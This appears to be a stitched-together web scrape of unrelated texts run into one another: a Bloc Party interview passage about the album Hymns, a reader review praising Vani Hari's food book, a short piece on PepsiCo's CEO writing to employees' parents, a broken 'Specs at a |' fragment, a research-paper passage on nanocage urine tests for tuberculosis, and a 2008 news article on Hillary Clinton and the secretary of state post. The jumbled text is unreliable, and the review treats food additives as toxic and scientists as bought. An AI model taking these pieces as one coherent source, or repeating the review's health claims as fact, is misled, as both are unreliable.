KO: Those songs from different periods are still quite connected. Still, I felt kind of reluctant first when we start practicing these old songs with Justin and Louise. We just finished the record and wanted to focus on these songs and the future. But, of course, we understand that when you go on the road, performing at festivals, that you need to have those classics in your set. For some people Hymns might be too different but on the other hand I’m excited about the fact that we might get new people on board who are discovering BLOC PARTY through these new songs. And that’s how band’s basically grow, by reaching new people.
Would you already consider the four of you as real unit by now or do you still need to work on that?
KO: We are at the start of the progress. We’re jamming a lot and I think that’s the best thing we can do at the moment. Talking about music, sharing music and getting to know us better. This all needs to happen very fast because we as a band have the history of the past ten years; a history that Justin and Louise aren’t part of yet. But that’s a good thing as it allows us to become something else. It would be a bit flat to just be the type of band we were ten years ago. Having new members on board was mainly about how to deal with the band’s legacy and how to remain true to what we were about. And that also meant that we didn’t need the technically best musicians in the band. Gordon and Matt weren’t the best musicians as well but they had their own distinctive musical voices. They were confident in how to present themselves and write interesting and dynamic parts. And that’s what we are aiming for with Justin and Louise as well.
You’re not afraid of the reaction to the new songs and members then?
KO: I am not. Every new record you release needs a certain amount of time before the songs enter into the public’s consciousness. I think it always takes around ten months or so before people actually ‘get’ the songs. At least that’s the impression I got over the past years. We would not release a new album if we weren’t sure about its quality. For some people it’s going to be hard because the face of band changed that much. But others might not even remember what the other two members look like. (laughs)
And maybe that’s the lesson fans need to learn first before they can embrace the new BLOC PARTY: There is no singular perception of this band, it has never been as basically every album sounded different than the ones before. Constant progress is the force that kept this band going from early on, even if a lot of people still don’t get that. Over a decade into the industry Kele is relaxed when it comes to this aspect: ‘I don’t listen to those critics anymore because people always find something to rant about,’ he confesses. ‘Even when we released Silent Alarm, people were arguing that it didn’t sound like our first EP.’
Hymns is an intimate and soulful new facet in the ever changing BLOC PARTY concept. The tender and reflective Fortress might sound like a Kele solo recording while tracks like Into The Earth or the tender Exes sound like a more melodic version of the band’s earlier days. The psychedelic electronic groove of Different Drugs will surprise the listener as much as the blues rock attempt of The Good News might. You can call this album a lot of things: aftermath, transitional, reflective, melancholic or if you’re against it maybe even ‘lame’ but it’s the natural next step in the group’s evolution. Just don’t expect edgy indie rock floorfillers on it because there ain’t. But they might return on a follow-up which Kele is very determined to record as soon as possible:
‘My main goal for 2016 is to write music again with these new people around. That’s how we going to grow. We have to work out how to write new music quickly and instinctively or else we’re not going to remain.’
Whether you like it or not but BLOC PARTY aren’t done yet. It’s a risky way Kele and Russell decided to take but these guys never enjoyed to choose the easiest possible path. And maybe that’s one reason why they are still around unlike other bands from their generation, why people still talk about them and why you will eventually end up picking that ‘book’ again because you are just to curious to see what will happen on the next page.
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BLOC PARTYThis was an excellent read. As has been previously stated, I've also read various unflattering comments about Mrs. Hari with regard to this book and her activism in general. Some say she's not a medical doctor, nutritional expert or scientist; so she's unqualified to write about food. I wholeheartedly disagree. After reading this cover to cover, I feel the book is very well written and presented in an understandable format.
Mrs. Hari did a great job explaining how some corporate food giants routinely add antibiotics to livestock such as chicken and cattle, usually on company owned or company sponsored farms. This makes the livestock bulk up quicker so that it can be slaughtered sooner and shipped to market. Some in the restaurant industry adds MSG and other nasty chemicals to our food in order to preserve it, stabilize it, change its color, texture or consistency, add color or whatever other goal they have in mind to get the average Joe Schmo to eat their toxic concoctions.
Monsanto manufactures and markets Roundup, a weed killer that's been around since 1970 (according to Wikipedia), and it's used on many farms around the world. With bulk supplies and different variations of pesticides being used on crops (no matter who manufactures them), you don't have to be a rocket scientist to understand the possibility these chemicals can leech into and contaminate the very food we're eating or you're feeding your family.
We now have genetically modified plants grown from seeds which have the unnatural ability to resist certain pests. Once crops are harvested and processed into commercially available food, it can have any number of additives contained within that ultimately entices us to eat whatever is placed in front of us, because it looks, smells or tastes good.
Unfortunately the only way to rid ourselves of many of these contaminates is to grow our own food or purchase it from a local farmer, farmers market or a grocer such as Whole Foods, Trader Joe's, Thrive Market or Sprouts to name a few. Many people don't have access to these specialty grocers because they're usually located in the more densely populated areas. Purchasing food that's grown naturally or raised to a higher standard usually means paying more for it, so many people choose not to buy it or can't afford it.
The book gives excellent insight into what types of food to eat and what to avoid. There's a list of suggested places to shop in person or online to purchase meat, produce or even protein products. The book is footnoted and gives sources and references for the information contained within. The forward was written by Dr. Mark Hyman, MD.
I don't mean to imply that this or any other book is perfect when it pertains to what I or anyone else chooses to eat, but this particular book interested me enough to read it and make my own decisions based on the information presented. For anyone who believes that science is infallible, medical professionals have all the answers or corporations and governments won't lie to us to achieve a particular goal, I feel they're doing themselves and possibly their loved ones a disservice.
Like many politicians, science can be, and often is motivated by money. Medical practitioners tell us this year that a food product is good for us, but next year they tell us a different story. Medical professionals and scientists can ultimately be bought. All science is not necessarily bad, but it's impossible to tell the good from the not so good when the majority of us are not scientists; especially when we're just trying to pay the bills and raise our families.
Thank goodness there are people like Vani Hari and many others like her, that do the legwork, blog and publicize the information to identify the jokers that would sell us anything as a means of enriching themselves. I know there are those who would argue that Mrs. Hari is also motivated by money because she promotes various products on her website. I would respond by saying we all need to earn a living. She has identified a niche that allows her to do just that, while also providing for her own family. Keep up the good work Vani.Looking for a new way to make your employees feel appreciated? Try this one.
February 2, 2017 2 min read
What we accomplish today is, in part, due to our upbringings. Parents, mentors and guardians play major roles in our success -- that’s what PepsiCo CEO Indrani Nooyi believes.
After becoming Pepsi’s CEO, people began complimenting Nooyi’s mother on how she raised her. That made Nooyi realize the large role parents played in the success of their children. As a result, Nooyi got out some pen and paper and began writing personal letters to hundreds of employees’ parents to express her gratitude.
Related: The Four A's of Expressing Gratitude
"I was a product of my upbringing.... It occurred to me that I had never thanked the parents of my executives for the gift of their child to PepsiCo,” Nooyi said in a video with Bloomberg's David Rubenstein.
Nooyi herself attributes much of her success to her mother and how she was raised. To continue expressing gratitude to parents, Nooyi takes it upon herself to not only make sure these parents are appreciated, but to make sure employees keep their parents updated.
"If I felt that our employees were not calling their parents often enough," she said, "I'd write a letter to them on why it was important to call parents."Specs at a |
, an infection mainly affecting the lungs. LAM can be detected in urine samples from patients coinfected with HIV, but current LAM detection methods have failed for HIV-negative patients. Using hydrogel “nanocage” nanoparticles and a chemical bait with high affinity for LAM, Paris et al. showed that patients negative for HIV with active tuberculosis infections had detectably higher concentrations of LAM in their urine than patients without active tuberculosis infections. Nanocages could also be used to detect cytokines and other antigens present in low concentrations in urine, demonstrating the versatility of the technology as a method to detect and monitor infections.
An accurate urine test for pulmonary tuberculosis (TB), affecting 9.6 million patients worldwide, is critically needed for surveillance and treatment management. Past attempts failed to reliably detect the mycobacterial glycan antigen lipoarabinomannan (LAM), a marker of active TB, in HIV-negative, pulmonary TB–infected patients’ urine (85% of 9.6 million patients). We apply a copper complex dye within a hydrogel nanocage that captures LAM with very high affinity, displacing interfering urine proteins. The technology was applied to study pretreatment urine from 48 Peruvian patients, all negative for HIV, with microbiologically confirmed active pulmonary TB. LAM was quantitatively measured in the urine with a sensitivity of >95% and a specificity of >80% (n = 101) in a concentration range of 14 to 2000 picograms per milliliter, as compared to non-TB, healthy and diseased, age-matched controls (evaluated by receiver operating characteristic analysis; area under the curve, 0.95; 95% confidence interval, 0.9005 to 0.9957). Urinary LAM was elevated in patients with a higher mycobacterial burden (n = 42), a higher proportion of weight loss (n = 37), or cough (n = 50). The technology can be configured in a variety of formats to detect a panel of previously undetectable very-low-abundance TB urinary analytes. Eight of nine patients who were smear-negative and culture-positive for TB tested positive for urinary LAM. This technology has broad implications for pulmonary TB screening, transmission control, and treatment management for HIV-negative patients.
The ideal urine test would measure a variety of pathogen and host analytes ( 2 ) to achieve the highest specificity and accuracy at all phases of TB. Therefore, we explored whether the nanocage technology could be extended to other characterized analytes associated with TB and the host response and to other immunoassay formats useful in low-resource settings. We introduce here new high-affinity chemical dye baits that bind the following well-characterized TB antigens and inflammatory markers: (i) LAM, (ii) early secretory antigenic target 6 (ESAT6) ( 11 ), (iii) culture filtrate protein 10 (CFP10) ( 11 ), and (iv) inflammatory cytokines nonspecifically associated with an active infection including interleukin-2 (IL-2), interferon-γ (IFN-γ), and tumor necrosis factor–α (TNFα) ( 12 ). For ESAT6, we examined the versatility of the cage nanotechnology as a new class of sandwich immunoassay using the chemical bait as one side of the sandwich.
The poor sensitivity of existing LAM assays in HIV-negative/TB-positive patients has been explained by three main hypotheses. The first hypothesis is that LAM is shed into the urine of active pulmonary TB patients only in the context of glomerular dysfunction caused by HIV infection including HIV-related nephropathy (HIVAN) ( 8, 9 ). However, in HIVAN, urinary LAM is not associated with heavy proteinuria, suggesting that this is not an important mechanism ( 9 ). The second hypothesis is that LAM is shed into the urine of patients with active TB only when there is extrapulmonary renal tract involvement, such that the antigen can enter the urine directly from infected tissue ( 10 ). The third hypothesis is that the concentration of LAM in patients with active pulmonary TB is below the concentration detection limits of existing assays and may be masked by formation of immune complexes, excess non-LAM proteins, or other inhibitors present in the urine ( 7 ). Here, we apply a new class of analytical nanocage technology to definitively address these hypotheses and solve this dilemma.
An accurate screening test for active pulmonary tuberculosis (TB) is urgently needed for patients who are not coinfected with HIV ( 1, 2 ). Worldwide, TB is one of the most prevalent bacterial infections (9.6 million cases and 1.5 million deaths in 2014), with the highest mortality in developing countries ( 1 ). Ideally, such a test would use a noninvasive body fluid such as urine to facilitate utilization in a low-resource setting ( 1, 2 ). This objective, at first, appears straightforward because the outer surface glycan lipoarabinomannan (LAM), a TB antigen shed into the urine during active TB, has been identified and well characterized ( 3, 4 ). Although enzyme-linked immunosorbent assay and lateral flow tests have been developed to measure LAM, their sensitivity is limited ( 4 ). These tests can detect urinary LAM in patients with pulmonary TB who are coinfected with HIV ( 5, 6 ) but not in those who are HIV-negative ( 5, 6 ). Quantitative gas chromatography–mass spectrometry has been used to identify d-arabinose as a proxy for LAM in TB patients irrespective of HIV status, but the sensitivity is limited to 10 to 40 ng/ml ( 7 ). Unfortunately, the failure to detect LAM in the urine of HIV-negative patients limits the applicability of these assays, because most of the TB patients are HIV-negative (85% of the 9.6 million patients worldwide) ( 1 ).
RESULTS
A recognized barrier to glycosciences and to the use of glycans as diagnostic biomarkers is the scarcity and suboptimal quality of available monoclonal antibodies (mAbs) directed against complex carbohydrates such as LAM (13). To address this problem, we introduce here a new class of chemical affinity bait, a copper complex reactive dye, Reactive Blue 221 {RB221; cuprate(4-),[2-[[[[3-[[4-chloro-6-[ethyl[4-[[2-(sulfooxy)ethyl]sulfonyl]phenyl]amino]-1,3,5-triazin-2-yl]amino]-2-hydroxy-5-sulfophenyl]azo]phenylmethyl]azo]-4-sulfobenzoato(6-)]-,tetrahydrogen} (Fig. 1). RB221 binds and sequesters carbohydrate glycan LAM antigen with extremely high affinity (fig. S1) that is at least 100 times greater than any known lectin (fig. S2 and table S1). RB221 is immobilized in open-mesh hydrogel nanoparticle cages. When introduced into urine, the nanocages harvest LAM with high efficiency within minutes while simultaneously dissociating interfering substances in solution (fig. S3). Our affinity capture nanotechnology increases the sensitivity of LAM detection in urine by 100- to 1000-fold depending on the available volume of urine (Fig. 1, A and B) (14–18).
Fig. 1 Nanocages that were covalently functionalized with copper complex dye Reactive Blue 221 sequestered and concentrated lipoarabinomannan from urine. (A) Schematic depicting high internal/external surface area ratio and binding capacity of nanocages. Affinity ligands covalently immobilized in the inner volume establish high-affinity noncovalent interaction with tuberculosis (TB) antigens. (B) Schematic showing the concentration factor given by the volumetric ratio between the initial urine volume and the final testing volume. Structures within the urine sample are nanocages. (C) Molecular structure of lipoarabinomannan (LAM) (right) and affinity probe Reactive Blue 221 (RB221) {cuprate(4-),[2-[[[[3-[[4-chloro-6-[ethyl[4-[[2-(sulfooxy)ethyl]sulfonyl]phenyl]amino]-1,3,5-triazin-2-yl]amino]-2-hydroxy-5-sulfophenyl]azo]phenylmethyl]azo]-4-sulfobenzoato(6-)]-,tetrahydrogen} (left). (D) Western blot, glycan staining, and image analysis of protein macroarray assay of LAM. C, LAM control (50 ng); IS, initial solution (50 ng of LAM spiked in 50 μl of human urine); S, supernatant; E, eluate from the nanocages; P, nanocages; AU, arbitrary units. Mean and SD, n = 3 replicates.
We applied this technology to study the concentration of LAM in the pretreatment urine of 48 HIV-negative patients with microbiologically confirmed active pulmonary TB from a Peruvian hospital (Tables 1 and 2). All patients were confirmed to have normal kidney function by in-hospital assessment including creatinine measurement and urinalysis. To determine whether urinary LAM concentrations reflect body disease burden, we compared the urine LAM concentrations with sputum TB organism counts, cough frequency, appetite, and change in body weight (19) in this cohort (Table 2) of well-characterized hospitalized patients using the widely accepted simplified nutritional appetite questionnaire (SNAQ) scoring system (20). Controls included age-matched healthy volunteers and diseased non-TB control patients who were hospitalized and ill with a variety of severe systemic, pulmonary, neurologic, and genitourinary tract diseases (table S2).
Table 1 Demographic characteristics of study participants. IQR, interquartile range. View this table:
Table 2 Clinical characteristics of hospitalized patients (n = 48 microbiologically confirmed TB patients and n = 2 TB-negative patients). Urine was collected from patients before therapy. SNAQ, simplified nutritional appetite questionnaire; MODS, microscopic observation broth-drug culture and susceptibility. View this table:
Copper complex dyes: High-yield LAM sequestration from urine The carbohydrate structure of LAM (Fig. 1) (3) poses unsolved challenges in terms of identifying adequate probes for affinity isolation in urine in the presence of a vast excess of interfering urinary proteins and other biomolecules (7, 21, 22). For this study, 37 different dye chemistries (table S1) were screened to identify a molecular bait that would sequester LAM from urine with high affinity, deplete the supernatant, dissociate LAM-binding proteins, and permit a high-yield quantitative recovery (Fig. 1, C and D, and fig. S1). The dye chemistry panel was selected by inference from dyes known to be useful for tissue histology mucin staining or fluorescent staining of microorganisms. Western blot analysis was conducted to screen dyes for their affinity to LAM. Two mAbs were tested and yielded highly specific bands for LAM with no detectable background in urine matrix (fig. S4). The specificity of the mAb clone CS-35 was verified by antigen competition (fig. S5) (23). Dyes containing copper moieties for histologic staining are known to preferentially interact with glycans. Here, nanocages that were covalently functionalized with copper-containing dyes (Alcian blue pyridine variant and RB221) proved to be superior to other affinity probes, such as fluorescent brightener 28 (FB28), fast blue B, and safranin O (Fig. 1C and figs. S1, S2, and S6). Figure 1D documents the full depletion of LAM (100 ng/ml) spiked in human urine using the RB221 nanocages (Fig. 1D, lane S). Binding was independent of the pH of solution in the range 5 to 7 (fig. S7). The molecular weight of the band by Western blot analysis and carbohydrate staining is the expected full size of LAM (~38,000) with no lower–molecular weight bands. After nanocage capture and elution, no differences were detected in the quantity, shape, or intensity of the LAM band captured in urine matrix as compared to LAM captured in phosphate-buffered saline (PBS) (Fig. 1D). Because PBS did not contain interfering substances, this verifies that the LAM was sequestered away from potential interfering urinary molecules including proteins, lipids, glycans, and cellular debris that could interfere with sequestration. On the basis of the intensity of the band compared to standards, the complete depletion of the supernatant at equilibrium, the yield and efficiency of capture and elution is greater than 95%. In human urine, on the basis of the bound versus free LAM at equilibrium, the capture affinity considerably exceeds K d (dissociation constant) = 10−9 M (fig. S1). Competition with 10% copper acetate in water or chelation by EDTA displaced LAM bound to RB221 (Fig. 1D, bar graph, and fig. S8), documenting the involvement of the copper moiety in the binding function. To further characterize the copper complex dye RB221 binding to the glycan, we used sodium m-periodate (NaIO 4 ) oxidative degradation. As demonstrated by solid-phase immunoassay (fig. S9), NaIO 4 at low concentrations and low pH extracted LAM from the RB221 cages, verifying that intact LAM diol bonds are required for RB221 binding (fig. S9).
Nanocage-based measurement of LAM in the pretreatment urine of patients with active pulmonary TB Quantitation of LAM in human urine was performed after nanocage capture and elution using an immunomacroarray assay (24). The concentration of LAM in the reference calibrator was qualified by the anthrone colorimetric method in the linear portion of the assay (0.16 mg/ml; fig. S10). The concentration factor was 100-fold (Fig. 1). The immunomacroarray assay limits of detection and quantifications for 1 ml of input urine were 14 and 15 pg/ml, respectively [background estimate, 547.32 arbitrary units (AU); SD, 22.6 AU; lower limit of detection (LLD) = background + 2 * SD; and lower limit of quantification (LLQ) = background + 10 × SD; the polynomial equation y = 8 × 10−9x2 − 3 × 10−6x + 0.0126 (R2 = 0.9985) was used to estimate LAM concentration (Fig. 2B)]. Unknowns were tested in an array with built-in negative controls and standards (Fig. 2). All samples and controls were identically processed through the nanocages. Fig. 2 LAM antigen was detected in the urine of HIV-negative/TB-positive patients using RB221 nanocages for diseased and control patients listed in Table 1 (A) Image of a quantitative immunomacroarray for LAM detection, incorporating (B) a dilution curve in every membrane. Neg, negative; BKG, background. (C) Example immunomacroarray comparing urine samples from a set of true-positive and known TB-negative samples using nanocage preprocessing. (D) Bar plot of the intensities of LAM determined via immunomacroarray and ImageJ analysis from urine samples from healthy TB-negative, TB-negative diseased, and TB-positive patients shown in Table 1 (mean ± SD, n = 4 patient replicates).
Verification of the assay format A test set of 23 TB-positive patients and a verification set were analyzed (total n = 48 independent infected patient samples; Tables 1 and 2). The mean and SD of urinary LAM concentration in the test and verification sets were 700 ± 500 pg/ml and 410 ± 400 pg/ml, respectively. The two sets were statistically indistinguishable (Wilcoxon signed-rank test P = 0.07, n = 72). The patients were called positive if the LAM signal was 2 SD higher than the full process negative controls run simultaneously. LAM could not be measured in any of the TB-infected patient’s pretreatment urine without the nanocage concentration step.
Urinary LAM: HIV-negative active TB-positive pretreatment patients discriminated from healthy and diseased controls A total of 101 subjects qualified for the study (n = 48 microbiologically confirmed TB-positive patients, n = 14 diseased TB-negative patients, and n = 39 healthy volunteers). Informed consent was collected at the time of urine donation. The median age of the microbiologically confirmed TB patient was 29 years (interquartile range, 24 to 36), and 72% were males. The most commonly reported symptoms were cough (76%) and fever (64%). Demographic, clinical, and microbiological data are presented in Tables 1 and 2. Completed urine dipstick analysis was recorded (table S3). The full data results obtained with the immunomacroarray analysis described above are shown in Fig. 2D. For the true-positive patients (n = 48), only 2 had undetectable LAM concentrations according to the criteria stated above. The controls included age-matched healthy subjects and diseased non-TB patients who were ill with a variety of severe systemic, pulmonary, and urinary tract diseases. The diseases included pneumonia, lung cancer, pyelonephritis, genitourinary infection, sepsis, cryptosporidiosis, giardiasis, colon cancer with gastroenteritis, and liver failure (table S2). The difference in LAM concentration between the cases and controls was highly significant [P < 1 × 10−15, n = 101, Wilcoxon signed-rank test; difference in location estimate, −247.318; 95% confidence interval (CI), −351.3 to 200.8; Fig. 3]. As shown in Fig. 3B, a significantly higher concentration of LAM was measured in the urine of patients who had a higher score for sputum organism content (auramine score, P < 0.043, n = 42, Wilcoxon signed-rank test; difference in location estimate, −205.3; 95% CI, −452.0 to 5.1). Fig. 3 Urinary LAM concentration predicted pulmonary TB and correlated to mycobacterial burden and weight loss. (A) Box plot of the intensities of LAM in the urine of HIV-negative/TB-positive patients versus controls collected in endemic areas (Wilcoxon signed-rank test). (B) Box plot of the intensities of LAM in the urine of HIV-negative/TB-positive patients stratified on the basis of the auramine staining (low amount of microorganism, scores 0 and 1; high amount of microorganism, scores 2 and 3; Wilcoxon signed-rank test; n = 42). (C) Receiver operating characteristic analysis of the LAM intensity data. AUC, area under the curve. (D) Ordinal regression analysis shows statically significant correlation between the concentration of urinary LAM and the loss of body mass (P = 0.038, n = 37). Sensitivity and specificity were evaluated by receiver operating characteristic (ROC) analysis, and the area under the curve was calculated to be 0.95 (95% CI, 0.9005 to 0.9957; fig. S11) as an overall ROC performance [n = 48 cases, n = 53 controls; significance level, 0.05; power, 1 (25)]. At a threshold of 14 pg/ml, this ROC analysis yielded a sensitivity of 0.96 and a specificity of 0.81 for true-positive pulmonary TB patients in the present study set (positive predictive value, 0.82; negative predicted value, 0.95; power, 0.96) (Fig. 3C). By these criteria, the single false-positive urine in the diseased controls was patient #234, whose urinalysis had +++ leukocyte esterase, +++ protein, +++ blood, and + bilirubin (table S3). These urinalysis values would meet the exclusion criteria for clinical urine diagnostic testing. Notably, eight of the nine culture-positive but smear-negative patients were positive for urinary LAM.
Correlation of urinary LAM with clinical measures of disease burden and severity Simple and multiple linear regression of covariates in Table 3 revealed that cough and appetite scoring compared to LAM urine concentrations were not individually significant by simple linear regression. However, when taken together, these two clinical measures were of significance and predictive of LAM urine concentrations (Table 3). Participants who reported a cough were likely to have an increased secretion of 269 pg/ml (10 to 528 pg/ml) of LAM (P = 0.042, n = 50). For appetite data, for each unit increase in SNAQ score (Table 4) (20), an increase of 54.1 pg/ml (4.76 to 103 pg/ml) of LAM was observed (P = 0.032, n = 37). Table 3 Simple and multiple linear regression analysis. Analysis shows that cough and SNAQ scores (20, 36), when combined, were significantly correlated to the concentration of urinary LAM. CI, confidence interval. View this table: Table 4 SNAQ scoring ( 20 36 ). View this table: Exploration of LAM as an ordinal variable revealed that the highest producers of LAM were those who had experienced the greatest change (loss) in body mass as a proportion of their baseline mass (Fig. 3D). When patients were grouped into low-level LAM producers (115 pg/ml), mid-level LAM producers (115 to 320 pg/ml), and high-level LAM producers (320 pg/ml), high-level LAM producers lost, on average, 17% of their body mass as compared to patients in the low- and mid-level LAM-producing group who lost 8 and 9% of their body masses, respectively. Ordinal regression revealed a significant correlation of percent weight loss and LAM categorization (P = 0.038, n = 37; Table 5). This indicates that loss of weight in patients with high urinary LAM was consistent with a cachexia-like state characteristic of patients with advanced TB infection (19). These data are in keeping with the conclusion that the concentration of urinary LAM is a reflection of total mycobacterial body burden [auramine score (26)] and disease severity [cough and weight loss (19, 20)] in patients with active pulmonary TB who are HIV-negative. Table 5 Ordinal regression analysis. A significant correlation between the urinary LAM concentration and body mass change was observed. View this table:
Extending the technology to other TB antigen markers and host-associated cytokines Beyond LAM, additional low-abundance mycobacterial antigens that promise to offer important future diagnostic utility if they can be detected with adequate sensitivity in the complex matrix of urine have been characterized. We searched for bait chemistries that exhibited a high affinity for additional TB antigens (Fig. 4) such as ESAT6 and CFP10, which are secreted by replicating bacteria in addition to LAM shedding (11) during infection. We also explored bait chemistries for host immune response factors that, although not specific for TB diagnosis, may be involved in the cytokine cascade of TB infection [IL-2, TNFα, and IFN-γ (27)]. Results shown in Fig. 4 indicate that nanocages completely captured the target analytes, depleted the supernatant, and increased the effective concentration in the Western blot analysis. There was no cross-reactivity of the antibodies with the negative control human urine in the absence of target analytes. The analysis of urine samples from four untreated TB patients from the Peruvian cohort revealed that ESAT6 is detectable by Western blot analysis only when nanocages are used as a preprocessing step (Fig. 4D and Supplementary Materials and Methods). The four patients analyzed were characterized by microscopic observation broth-drug culture and susceptibility (MODS) TB culture (four of four are positive) and sputum smear (three of four are positive) (28). These data document that the nanocage technology is not limited to the LAM antigen and can be extended to other TB-related antigens to expand the detection panel and increase the accuracy of TB diagnosis. Fig. 4 Nanocages captured multiple TB-related analytes. (A) SDS–polyacrylamide gel electrophoresis (PAGE) analysis; chemical bait incorporated in the nanocages (NP1, blue 3G-A; NP2, pigment red 177; NP3, disperse yellow 3). P, nanocage eluate. (B) Affinity probes (affinity probe 1, pigment red 177; affinity probe 2, blue 3G-A; affinity probe 3, trypan blue). (C) Nanocages effectively captured TB-related analytes from human urine (Western blot). U, negative control; C, recombinant protein (positive control, 75 ng). (D) Nanocage detection of TB antigen ESAT6 in the urine of untreated HIV-negative/TB-positive patients (Western blot).
Nanocages can be magnetized Magnetization permits the creation of a urine collection device that achieves rapid separation of the particles from the urine in a self-contained vessel. To meet this goal, we incorporated a magnetic label (Fe 3 O 4 functionalized with oleic acid; diameter, 100 nm) into the hydrogels (Fig. 5A and Supplementary Materials and Methods). As shown in Fig. 5B, magnetic separation is as efficient as centrifugation, if not superior, in separating the particles from urine and enabling the detection of ESAT6 and CFP10 at concentrations otherwise undetectable by Western blot analysis. Fig. 5 Magnetic hydrogel nanocages. (A) Schematic of magnetization. (B) Western blot analysis of ESAT6 and CFP10 expression in eluates of centrifugation-separated nanocages (top), in eluates of magnetic-separated nanocages (middle), and in supernatants after magnetic separation of nanocages from urine samples (bottom). Top and middle: Lane 1, positive control (recombinant protein; 10 ng); lanes 2 to 7, two to six eluates from nanocages incubated with 1 ml of urine containing ESAT6 (10, 5, 2.5, 1.2, 0.6, and 0.3 ng/ml) and CFP10 (10, 5, 2.5, 1.2, and 0.6 ng/ml). Bottom: Lane 1, positive control (recombinant protein; 10 ng); lanes 2 to 7, two to six supernatants after nanocage processing of 1 ml of urine containing ESAT6 (10, 5, 2.5, 1.2, 0.6, and 0.3 ng/ml) and CFP10 (10, 5, 2.5, 1.2, and 0.6 ng/ml).
Obviating the need for elution: Nanocages partially dissolve to display the captured analyte The effective pore size of the particles is a function of hydrogel polymer cross-links. Rendering the cross-links degradable provides a means to induce the nanocages to open and display the captured sequestered analyte (TB antigen) cargo. Partially degradable nanocages were created by incorporating a cleavable cross-linker (N,N′-(1,2-dihydroxyethylene)bisacrylamide) under oxidizing conditions (Fig. 6, A to C, and Supplementary Materials and Methods) or N,N′-bis(acryloyl)cystamine under reducing conditions (fig. S12). In this workflow, nanocages were mixed with urine containing the antigen of interest, and the solution-phase antigen was captured within the particles. The degradable cross-links were then cleaved, causing an effective increase in pore size and exposing the captured antigens in the internal volume. Antibodies were used to probe the exposed captured antigen directly within the cages for LAM (fig. S12) and ESAT6 (Fig. 6D). Fig. 6 Partially dissolvable nanocages captured antigen for antibody binding in a high-sensitivity sandwich immunoassay. (A) Schematic demonstrating nanocage cross-link degradation in an oxidative environment. (B) Change in hydrodynamic diameter after nanocage oxidation [t test, n = 10; mean and SD of nanocage hydrodynamic diameter before (a) and after (b) oxidative degradation]. (C) SDS-PAGE analysis comparing N,N′-(1,2-dihydroxyethylene)bisacrylamide (DHEA) cross-linked nanocages mixed with a solution of monoclonal antibody (Ab) (0.05 mg/ml) with pores open (lanes 2 and 3) and closed (lanes 4 and 5). (D) Immunomacroarray demonstrating that antigen bound to the chemical bait retains its capability to bind to the antibody. a, nanocages deposited on polyvinylidene difluoride (PVDF) membrane after incubation with urine containing ESAT6 (1 ml, 10 ng/ml) and DHEA cross-link degradation; b, nanocages deposited on PVDF membrane after incubation with urine containing ESAT6 (1 ml, 10 ng/ml) in the absence of DHEA cross-link degradation; c, ESAT6 deposited on PVDF membrane (starting amount, 1 ng); d, DHEA nanocages deposited on PVDF membrane after incubation with urine in the absence of ESAT6. (E) Plot of immunoassay signal intensity as a function of bait capture affinity. High-affinity chemical baits achieve >2 log increased sensitivity for antigen capture compared to conventional antibody, as mathematically demonstrated in Supplementary Materials and Methods. (F) Schematic depicting direct, nonelution sandwich immunoassay using partially degradable nanocages. Inset shows an enzyme-linked antibody interacting with TB antigens captured inside the nanocage. (G) Calibration curve of a direct nanocage immunoassay for ESAT6 showing linearity in the 1- to 0.03-ng range. (H) Schematic of a lateral flow immunoassay using one antibody. Nanocages capture and preserve antigen in solution, migrate through the filter membrane, and provide colorimetric detection. (I) Lateral flow immunoassay for ESAT6 detection in urine. Positive signal for 10 ng of ESAT6 in 10 ml of human urine both visually (blue line, a) and with chemiluminescence (black line, b). Negative control urine in the absence of ESAT6 yields no signal (c and d).
Single-antibody sandwich This class of nanocages was then used as the basis for a single-antibody sandwich immunoassay for ESAT6 in a 96-well plate format. This format is completely distinct from conventional sandwich immunoassays because the capture antibody is replaced by the chemical bait and can yield improved analytical sensitivity (Fig. 6, E and F, and Supplementary Materials and Methods). The calibration curve for the assay is reported in Fig. 6G, indicating a high degree of linearity (R2 = 0.99) in the 1- to 0.03-ng range. This translates to a urine concentration sensitivity of 30 pg/ml for a 10-ml sample.Bill Clinton has agreed to a series of concessions requested by officials representing Barack Obama's presidential transition team, moving his wife one step closer to potentially becoming the next secretary of state.
Aides to both Obama and Sen. Hillary Rodham Clinton (D-N.Y.) said that a formal job offer had not been made, but the former president's decision to disclose the identities of donors to his charitable foundation and to vet his future speeches and overseas activities with members of the Obama administration appears to have removed some of the biggest hurdles to her nomination.
Obama aides said yesterday that it would be difficult for Sen. Clinton to walk away from the secretary of state post. Obama's staff has thoroughly vetted both Clintons with the understanding that, if he should make an official job offer, she would accept.
As uncertainty continued to surround Sen. Clinton, other pieces of Obama's administration continued to fall into place. Sources confirmed that former Senate majority leader Thomas A. Daschle (D-S.D.), an early supporter of Obama's presidential bid, would be tapped to lead the Health and Human Services Department.
Obama's consideration of Clinton for the top diplomatic post has puzzled supporters of other contenders, particularly Sen. John F. Kerry (D-Mass.) and New Mexico Gov. Bill Richardson, two men who endorsed Obama over Clinton in the Democratic presidential primaries at the cost of incurring considerable wrath from the Clinton camp. It also has perplexed rank-and-file Obama supporters who heard the candidate spend most of the primary contest critiquing Clinton's foreign-policy mindset.
The president-elect also signaled that he did not think that Senate Democrats needed to punish Sen. Joseph I. Lieberman (I-Conn.) for his outspoken support of Sen. John McCain (R-Ariz.), Obama's presidential rival, and then met with McCain less than two weeks after the general election.
The Senate followed Obama's lead on Tuesday, voting 42 to 13 to let Lieberman retain his chairmanship of the Homeland Security and Governmental Affairs Committee.
"It's a little unsettling. The earth has shifted a little," said Sen. Claire McCaskill (D-Mo.), who endorsed Obama early in the primaries. "Barack has sent a very clear signal since the election that all of the talk about changing the way we do things is not just talk -- that he's deadly serious about getting beyond partisan food fights to solve the serious problems of today. What happened with Senator Lieberman was a direct result of the tone he set. There was no venting or teeth-baring or finger-pointing. The vast majority of the caucus is following his lead and realizing that the old politics is punishment and revenge and retribution -- and the new politics is 'Get to work.' "
Sen. Sherrod Brown (D-Ohio) voted against keeping Lieberman in his chairmanship -- "Lieberman was awful to" Obama -- but he said Obama's personal magnanimity should not be confused with a willingness to surrender on key issues.
"You can reconcile without compromises of principle, and that's what Barack is doing," Brown said. "He has enough confidence in his own progressive views to reach out and work with people, and working with people can be bipartisan without moving to the center."
But as Obama brings as many people as possible inside his tent, there are only so many prime seats available. Choosing Clinton as secretary of state would mean passing over Kerry, whose endorsement of Obama gave him a lift after his defeat in the New Hampshire primary, and Richardson, who was derided as a Judas by Clinton confidant James Carville after the governor endorsed Obama in March.
